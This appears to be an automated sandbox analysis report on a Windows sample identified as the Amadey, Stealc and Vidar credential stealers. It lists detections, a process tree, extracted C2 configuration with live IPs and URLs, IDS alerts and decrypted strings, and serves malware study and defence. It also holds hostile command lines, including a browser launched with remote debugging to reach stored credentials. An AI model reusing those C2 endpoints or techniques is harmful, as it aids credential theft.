Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1570423
MD5:	4f838339f38f07f8a4faebabbc11477b
SHA1:	d2104c8592655633b229ce43e67878cbb02a4764
SHA256:	3be7b559446ef4570ec153c4e898b327a359577fbeaeb74fc159e8284504646a
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7324 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 4F838339F38F07F8A4FAEBABBC11477B)

chrome.exe (PID: 7672 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7900 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2152,i,8681884789018935076,13481232755456016495,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 6484 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 1012 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2268,i,10244731993118396883,10174492265466418561,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 2448 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\JKKKJJJKJK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

JKKKJJJKJK.exe (PID: 3488 cmdline: "C:\Users\user\Documents\JKKKJJJKJK.exe" MD5: 4B0FCA9817C0405A34CB0B40D95D02E2)

skotes.exe (PID: 2940 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 4B0FCA9817C0405A34CB0B40D95D02E2)

msedge.exe (PID: 7952 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8072 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2020,i,1685373898731975698,6692062236660730877,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 5580 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 4B0FCA9817C0405A34CB0B40D95D02E2)

skotes.exe (PID: 4140 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 4B0FCA9817C0405A34CB0B40D95D02E2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "drum"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000014.00000002.2834011701.0000000000941000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.3412296023.0000000000941000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000002.2821458467.0000000000941000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2758018084.0000000000691000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2762226429.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2762226429.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000002.2786863150.0000000000571000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 7324	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7324	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7324	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7324	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
20.2.skotes.exe.940000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.skotes.exe.940000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.JKKKJJJKJK.exe.570000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.940000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.690000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.file.exe.690000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7324, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 7672, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T00:15:16.338855+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49715	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T00:15:16.215109+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T00:15:16.659208+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T00:15:18.382796+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T00:15:16.783079+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49715	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T00:15:15.772509+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T00:17:05.823370+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50024	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T00:15:03.372989+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50029	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T00:17:11.373050+0100	2803305	3	Unknown Traffic	192.168.2.6	50033	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T00:15:19.203341+0100	2803304	3	Unknown Traffic	192.168.2.6	49715	185.215.113.206	80	TCP
2024-12-07T00:15:45.765851+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-07T00:15:47.809889+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-07T00:15:49.169306+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-07T00:15:50.252724+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-07T00:15:53.746318+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-07T00:15:54.807200+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-07T00:16:01.122081+0100	2803304	3	Unknown Traffic	192.168.2.6	49869	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/Yg	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php1c2fec0e1cf74e8735ec95795d26Extension	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllJ6	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpn#n	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dll5Tf	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpNc	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php.c	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllYUB	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dlloUT	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php&-	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllyVb	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000014.00000002.2834011701.0000000000941000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0.2.file.exe.690000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "drum"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1012819001\439191dd24.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.690000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.690000.0.unpack	String decryptor: 07
Source: 0.2.file.exe.690000.0.unpack	String decryptor: 01
Source: 0.2.file.exe.690000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.690000.0.unpack	String decryptor: 25
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.690000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.690000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.690000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.690000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.690000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.690000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.690000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.690000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.690000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.690000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.690000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.690000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.690000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.690000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.690000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.690000.0.unpack	String decryptor: /c4becf79229cb002.php
Source: 0.2.file.exe.690000.0.unpack	String decryptor: /68b591d6548ec281/
Source: 0.2.file.exe.690000.0.unpack	String decryptor: drum
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.690000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.690000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.690000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.690000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.690000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.690000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.690000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.690000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.690000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.690000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.690000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.690000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.690000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.690000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.690000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.690000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.690000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.690000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.690000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.690000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.690000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.690000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.690000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.690000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.690000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.690000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.690000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.690000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.690000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.690000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.690000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.690000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.690000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.690000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.690000.0.unpack	String decryptor: sqlite3_prepare_v2
